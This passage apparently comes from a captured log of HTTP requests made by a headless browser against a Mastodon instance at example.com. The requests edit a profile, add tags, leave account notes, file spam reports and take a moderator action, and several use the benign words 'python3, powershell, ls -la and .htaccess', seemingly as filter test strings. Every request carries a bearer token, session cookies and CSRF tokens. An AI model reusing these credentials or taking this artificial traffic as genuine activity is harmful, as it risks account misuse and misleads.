_mastodon_session=hMrujBHwGDvqH6xgtVwn6IRUusHfoPcC%2FcPcAfogtvgyAgnV27bNxO6qVd%2BChudhNLHfvO7pdJuCdeAdW9xx2xwFkvL1qtNw8MgaXTieHYRn5QZfwuauaa%2Bu1%2BX9fFQ1m0695%2BHdUbZ4NuY6a3iNTnePSR5tQ0D1i4wSePgiayp0rGfb%2BWnWVmCiraGI%2FQlpK5FWIXqEBAtaXRpGwKKt%2BpNeWlqWjGoPm2Rknq%2F9DPFW%2Bn315utCdi8J%2BoQ036uoGQWag89vGuj1q5dy706u3SMVR%2FhZC0mz5dkCKwg%2Bs7A6btVVyx1BG1ofmFE%2FSsGLst9lvRhnLkn0eGZh8T1y%2BIhhSBgUgcHT6JwsE0oMeHTu7%2BrCKRhLbEyxPZOQABAtNWzJoOkwdXWG--RjY9GYDSuz3sbmWQ--eRbLvS9KtO1Ub6Z4vj8B9w%3D%3D"], "body": "{\"note\":\"Notes on python3, powershell, ls -la and .htaccess.\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 78", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=QdjxiOKfowIwXm6AOVGgxztXwBYkKbHA2HFToC5mLnYdIB5HHfLo%2FY0w3weCqZjQbgJbj7bUb5lrjMrfLVBMTbBgHp8nA%2BS8xL3FwNIRqyAZESfFP7giOIUjy7FV8Su6bn2t7UnOYrQst8%2FxP6%2FBrUyIgDGBE3P7r0jxriwqJDnFa0Ij0BPvGUyJVODuxatTNls7jk0auFyEt0fTGt5TkDWLZLSsXWxs26SQvQ1alcaX9FdVtsCInrnIFWo0AghKMhX8mOR4zuQbGA3%2Fclnn9Olgosr9qIvcIeRLkqN%2FR3UvUBO6g62JWvbG2ykUCLlHChsfBMwfR6pfj4OnX3ghKU%2FCELC81p8KQBEmxfJRtvEq2J2UbUgIdM1gTNDj7PeKVDl04GXKqiZr--AZ5neELoodWXkuwu--c3TxcFZKezA3QuJeOm8%2BEg%3D%3D"], "body": "{\"fields_attributes\":[{\"name\":\"Website\",\"value\":\"https://example.org/river\"}]}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=np%2BSO2W%2BhEaItbiw7pcqP3GMww%2BaNyN8mFeiJZWM3I8SKCaRL7U0n2FtZv9vHtYUJ7uM%2BA8XLLpn4fZx7DY1GNGOcYmuRhVnh6fGxljWuwQwQ%2F3IU4Ke25ljtQvPEW%2FwJbqp0G4%2FggC9SeJnbeEfpKL4MG7s7EA8ZBo%2FwHR1ASGklOs5t%2Bqvl0sAmASfFf%2BTuSbTsx3ew%2FlqfnSoaw11GTfXP1A9TrjnpCwM8PQu400xlUbVvOMLAn%2FKdJBISIB5qSiBPIUFdoWUWikjYrLU%2FZK6jBt0acG62Y4VLSPd11dUn5RpRk03Zs%2FL1%2FkJ78PkotvQTzb1qMp8KzDAzd1Xg8XnRCfG8%2FdW5zLteRF53yuCPnBDIo0Ds3Rv1ghZ99%2Bq1RKL4zLJqPOw--WLydzqrbPf8PEjEO--3USamBP7qv1OUsxaTBYABw%3D%3D"], "body": "{\"fields_attributes\":[{\"name\":\"Website\",\"value\":\"https://example.org/river\"},{\"name\":\"python3 powershell ls -la .htaccess\",\"value\":\"Notes on python3, powershell, ls -la and .htaccess\"}]}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/featured_tags", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 18", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/featured_tags", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=iASEJi70GztXcgihLjVGCXxNppupQGotMNrektUFigv948koCNqwO%2FCeod1WYBqXcf9TkFK6HGnnzJSHF241Pv1x3YB2h0v2jvV%2FdT5fGx0ZLXS7gGIViJW9AmRlTbT5%2F8p9AEt3yjQdaGYGfZKVs4o1y0gDNEx8p%2FILC0mHW5C9jWSWm0E844eGJfJcjLQhJyCk7PHLCFDRf8socc7vpkM%2FgbSPtSYi%2ByDHbDvHGowWknJyDLMcQvmLb8kHfwiaYDiE1CB3PL2CoKjilTZLQbRfTARUUcqe%2BZnr2e%2FBi1CTVxFSZdXUafxkjIBEJEIDVIXxg1YICattCY4SW9eaRcAU1jRnuch15pqsxIpg2ijId%2FgHddr0l%2Fz4%2FREXqJ5YBdsnR1M1iz3T--Ti44%2B%2F9qwplNRaCZ--iFHRvuVRCCe1aDFEUTc5rQ%3D%3D"], "body": "{\"name\":\"python3\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/featured_tags", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 21", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: FEEBgJL5tMjq2UcPDWnKPoaH4oSJC9XmoJKz4BhRcxO698fH_yT-fFu1tVWcXA3SAaINVS7Iac2nQpErhFZB-Q", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/featured_tags", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDM6MjMuNDMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c9810592850eafa38ef79819e5aaf0c25bd29d0d; _mastodon_session=kBpCTb%2Fs9pz7r0A%2FxuRjtz7wTK%2B1nZh5ar6YpVBKLUeVhPuK3iI6durBb6D0rFYqNf2hjhbWVxC5mdniK5B6wN1lY93uWJN1Fxq5VSDx%2Fq8w4Am7m4i8HZrgZZ5YGtsPLvalJeWChkcufsiyTWW2L6KXxVuhcDgqkRQn5RhDWGRlfPyeCA92jazY31llKOiAsvFqXLJHwi7RiIJZg1ELxhJuuqY93jkgFL6vDoGJZ%2BY%2Fql9ThbD2uEmCzktVg5uk5CzB1sT1SZJxVHtC1gfiBNHm58gp3Odv2XEsIWuQjqVIFteXWBKJjoyDZpqrhAh153aZ%2Flq31yr0VMqItgHq62qzk7sWhUiCoe1VNTdO4HFNoabPk%2B10ruC1CM1WxbwrR4VnjxMV9UcQ--vtrCsDBemzMHiU%2Bt--oGMwYJCMy9csBzOoOeB96A%3D%3D"], "body": "{\"name\":\"powershell\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 434", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: NWnoxDFn3yCNZabHutTdudK7RSCsSloa8GptCAAMslib3y6DXLqVlDwJVJ0r4RpVVZ6q8QuJ5jH3uk_DnAuAsg", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryUQtXWPO5ykB3KVSy", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDQ6NDYuMTg3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--bb85fcba42b324d857482972dca81ead94586237; _mastodon_session=4qzmIiZPuYUqy9D7hgtAo9xCQ6Z%2BPaSMbSycfIvQINpJ8FdNFePSMCED0N9TkoSIYa0xKJ1RY8bj0xAPWgUQi9XuTERslq3t8NVgKyUlDbvLkrfZ%2BLKxqyGqhmQI05CwDVFARYqwUkFihTQ8bHCb%2BvSHiLAnxXqn27czcbt3iB4Db9%2F2baT8GKIdU0G%2FJS1%2FAqN%2FV8dcOXaNxHLZjh%2Ffn0pXSis3M9NErWguFz7BNksbLvAFYUOYiLhO4J76%2F%2BqyJpxPZ2LMap2eAHhI6N55zk3iz7nOKZ753aIbGJbAn8p7qjL2P5v9UHYrqMfUks%2FwrU0OkBGLIA6J2acoGHp9oua%2Fiz487uq2bw%2BFt55%2FKQBc33YjyKzxsRdjVLXwA5e7TJ58ruQrKrmY--w6cnBJVBHRI5at36--V9SAznJN5niMY%2Fgq4Q9Z6Q%3D%3D"], "body": "------WebKitFormBoundaryUQtXWPO5ykB3KVSy\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"blob\"\r\nContent-Type: image/png\r\n\r\n�PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000 \u0000\u0000\u0000 \b\u0006\u0000\u0000\u0000szz�\u0000\u0000\u0000;IDATx\u0001���\t\u00000\b\u0003��4\u001d�cw+\u001d�� \u0017�?�/�����\u0019�\u0001\u0004\b\u0010 @�\u0000\u0001\u0002\u0004\b\u0010 @`�@w�\u000b\u0000\u0000���'E�\u0000\u0000\u0000\u0006IDAT\u0003\u0000?yH!1�\u0005\u0015\u0000\u0000\u0000\u0000IEND�B`�\r\n------WebKitFormBoundaryUQtXWPO5ykB3KVSy\r\nContent-Disposition: form-data; name=\"avatar_description\"\r\n\r\nAn orange square\r\n------WebKitFormBoundaryUQtXWPO5ykB3KVSy--\r\n"}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts/117589807710501347/note", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 35", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 2VaOWYDfyXC2LhO3gcv7d7Tb2HaWBKeAu-DDzSC9E4x34Ege7QKDxAdC4e0Q_jybM_43pzHHG6u8MOEGvLohZg", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDU6NTAuNzMyWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--73cc8591126b052478f2a87b3ad44c8e781cbc97; _mastodon_session=En59h1FyCIi%2BBw4Ammp81QF8ijp003GDVJ2LZWhzNe8xG95JRY1UMfC74zHxFEApCp8g3L%2F2iYpjTgvRrlQYjBHYfA16oVFWdm3VmF%2FHHQC%2Bj9w3j04CSrGzuSOwe0MCgqC64SQga41LGicHGONyt%2Foyg8Brw9heW6UXIfdF4JHnxTNGcdqVwBA4uukJnnQitPr9jhFMoFukbU1ONH9e63u0oo9%2B6oG4didf7DPDhK8vX2LkLpm9%2FcUVzoiDq7p%2BDYw4PH2BHEOaeYSTsWfJ%2BhpFEZyEnJnqo1JqbQDj4COXw4b3pJJgYjD0Z1D5AoK%2FuT6UhJIYx%2BQboX5QUd8qV0ickHqN7wK00rojVRsTUFInWf69tew2NnBm4UTjDNDbKyTkuTknBY1Y--sFObJ3y%2FL30bK2Dm--hjwKHU33NgREGRsF68EHSg%3D%3D"], "body": "{\"comment\":\"Met at the river walk\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts/117589807710501347/note", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 61", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: j7fVhw0PbocEXGuNMzz0DNlZ2bPncNyq4Pp9j1nCSiEhARPAYNIkM7UwmdeiCTPgXnw2YkCzYIHnKl9ExcV4yw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDY6NDAuMTE4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--765e600d35f9ae7e4e9d1544501f9428a349fdfa; _mastodon_session=%2Fe%2BrT21g0aBpcxP5axoWyml0417RkDc5JKAfDrBLgojDxwBMHfjFbi4waZ03p5ib665Hd%2F6z961yYughQKf%2BsKAHV2a8HRZKfDzKs5Z79v6Tl8wheULcN5bOpsQw4E9NPRNHcsnn1AxFY4E8kWHyyTOqnBciXNUY1MxQWqlJX1OQSRKc33fvVXtV9zbx5EzBlrldoGbn%2Fdqk6o7d2zFbZ4x6ghM0m7hBVSVQMntPPXTUlGeyVGHdUaQ%2FgnkfQOu8qPsCiwBYr%2BoXP4tbuCFyWYTTjY1VlncQWRYvauLQM7qPU%2BxMC4N6NjUR841p7dQf0l7ChYvnHBlu3o1tJMdvz3J2R35KyideQtxmEnHn6cT8Dj07dNShM9a81Afo6IcmSTv4ZU0C9d8%2F--0dt91hvvP%2BqR2KjZ--4pVuR%2FdZdONGdL53Y3Dt0A%3D%3D"], "body": "{\"comment\":\"Knows python3, powershell, ls -la and .htaccess\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 167", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: E0siLuH6sdkYpyM3LeCmV-3YzQ0RCuiMKT_Tbic_oEa9_eRpjCf7banL0W281WG7av0i3LbJVKcu7_GluziSrA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDc6MDYuNzE2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a6c0e21785394d921496cb35dc39f7580c93d132; _mastodon_session=u4a2MTZ325LIR%2BWJ5YGTOs%2BNftgwAv23iV%2FGZu16v6Zcm69X6PKtABOLmpHsiHcyHKv8LrW4KJGe4mx%2BUQRumCvZAq%2FKE9yNgjIfZdhOHPyYAyq1NZNVcGCBPRZC0qm%2BT1CqJhulHFEICg8olSfqJcRerBkITQz4laa0JPT8krUCWCieIf2C5rXEOIFm%2B2it9sPJVR2Lg5F%2BDszTgXwq1HSWpgGrtEENvGEOfFf8FhDDPyLqbMWdQy5uTUg46rBaeYXmDoHR8uyPxt3Zwymey8esTGyFizr8tH3OkeESooRym%2FkS3kDQ0VyTmHPu0zDRo2HeW3Mw2e%2BEMl3FuBsimiXUVzgZuSD85CxnkVNsuJAS4TaEjjSEouBXwKVxs1L68AR8UWBJP8lW--jeTED4Oq%2BNmJoKfY--TpWbjvMsVdjrdzMnyecQ%2Bw%3D%3D"], "body": "{\"account_id\":\"117589807710501347\",\"status_ids\":[],\"forward_to_domains\":[],\"comment\":\"Sends the same link to everyone\",\"forward\":false,\"category\":\"spam\",\"rule_ids\":[]}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 209", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 9KJAnZHXgScACqpgvxl4Ftv8ful9a2bFxANlW6lW88JaFIba_ArLk7FmWDouLL_6XNmRONqo2u7D00eQNVHBKA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDc6MTcuNTcwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--df011016d3d6395bc07d5fbab2917b9ef01a8e35; _mastodon_session=ZSFe6VxK3GQHqSBd2cVefbuCmdqHly4L1A5K%2BvlqoI83JBWoOhcVZObG9nxk7qNSDzgBNvp8ZFFIvNwUBHB%2F%2Bkb7WIiDEMTNvH1UMmO1rQCeH9marL4ulamke0AMne6389leKqL%2Bze%2FKuQNrQg6r5TAa3An8Nen5CKREfSMRHR2QNTKCUJp3bLR4B5Ubyt1Qy5OL%2Fkkpmx5riqaAV7MJwbHSECJuB1%2Bf%2FVSwjGZl7mmJpSABDvizySUg6kkl7bwFH04C7AEtrrZYv3eNOl7Qzp7haCzet9e%2F647Zy4Ml2E2WfeVxKu3rBUOsJXcWG2XZILdgY85d8FZAfbytqmbDfbIUkWvr%2BrMtsAQqTbAedmAuJbKlScIoOFPnxkJC9JK3wMRzY35c8NTm--VQ76Hd7RC74zSjYN--9mLfXZKIao2FJ82ZP0Ms8Q%3D%3D"], "body": "{\"account_id\":\"117589807710501347\",\"status_ids\":[],\"forward_to_domains\":[],\"comment\":\"Posting python3 and powershell malware, ls -la output and .htaccess files\",\"forward\":false,\"category\":\"spam\",\"rule_ids\":[]}"}
|
||||||
|
{"method": "POST", "target": "/admin/accounts/117589807710501347/action", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 434", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347/action/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDg6MjQuMjA2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--30f32bf3938306e75330204cdaf3dca6350d9bb1; _mastodon_session=9UzPVoLqh3MebAD4cs2shX2oYrqBzen6MFx5qsRRQt8WG7DPetvif5EZT3MhS%2FSjR9FmpcLO%2Bt%2FMxmSSCFk8ZPWsC5AkyE6hZ%2FAJ1eKM6%2Bk921J%2BMD6WHVNSPBfdlPK2vbxC1PK2Qj6RVHiC2vLplH%2BdpzKuf3OYO%2BQ4EgUFUrpH1ofLYietyEkWs%2BfYBR8CUFaE7dEs%2BsXoAJMzZJ0eo%2Bps2rRpPqWCKy99DIfaCrXWkc5njXEjk9l5gtFVu6%2F8pTDVc2eIU%2Fs%2BwPmHgLulXlAigsdlqO9aDNc0j2OE0hWg%2B%2Be%2Fxh5ij%2FRpYx9eXaUSb9HjgLANEIhQO%2FiyjFM%2F7xeKpt60FOAN64yhEvOulH7L1yW7kI02m%2BpMH1UPvachQcKejfaiVoMh--PYdTFXIV4lv%2BSVOK--I4hoMUTMbpp6luFL4lXrpA%3D%3D"], "body": "authenticity_token=LmOxIUYJN1QU7P6b0jV_4aaDb3_ciZxm-sO8dJrIjF6G6z2KZOQV6sCug7wW7PWkznbGRNw7D9pJ2xvriQx79Q&admin_account_action%5Breport_id%5D=&admin_account_action%5Btype%5D=&admin_account_action%5Btype%5D=none&admin_account_action%5Bsend_email_notification%5D=0&admin_account_action%5Bsend_email_notification%5D=1&admin_account_action%5Btext%5D=Please+stop+posting+python3%2C+powershell%2C+ls+-la+and+.htaccess+malware+links.&button="}
|
||||||
|
{"method": "POST", "target": "/admin/report_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 243", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/reports/1", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDg6MjkuMzgzWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--e5a66d06b8b6c838fbd37de11df65caabf8e00b5; 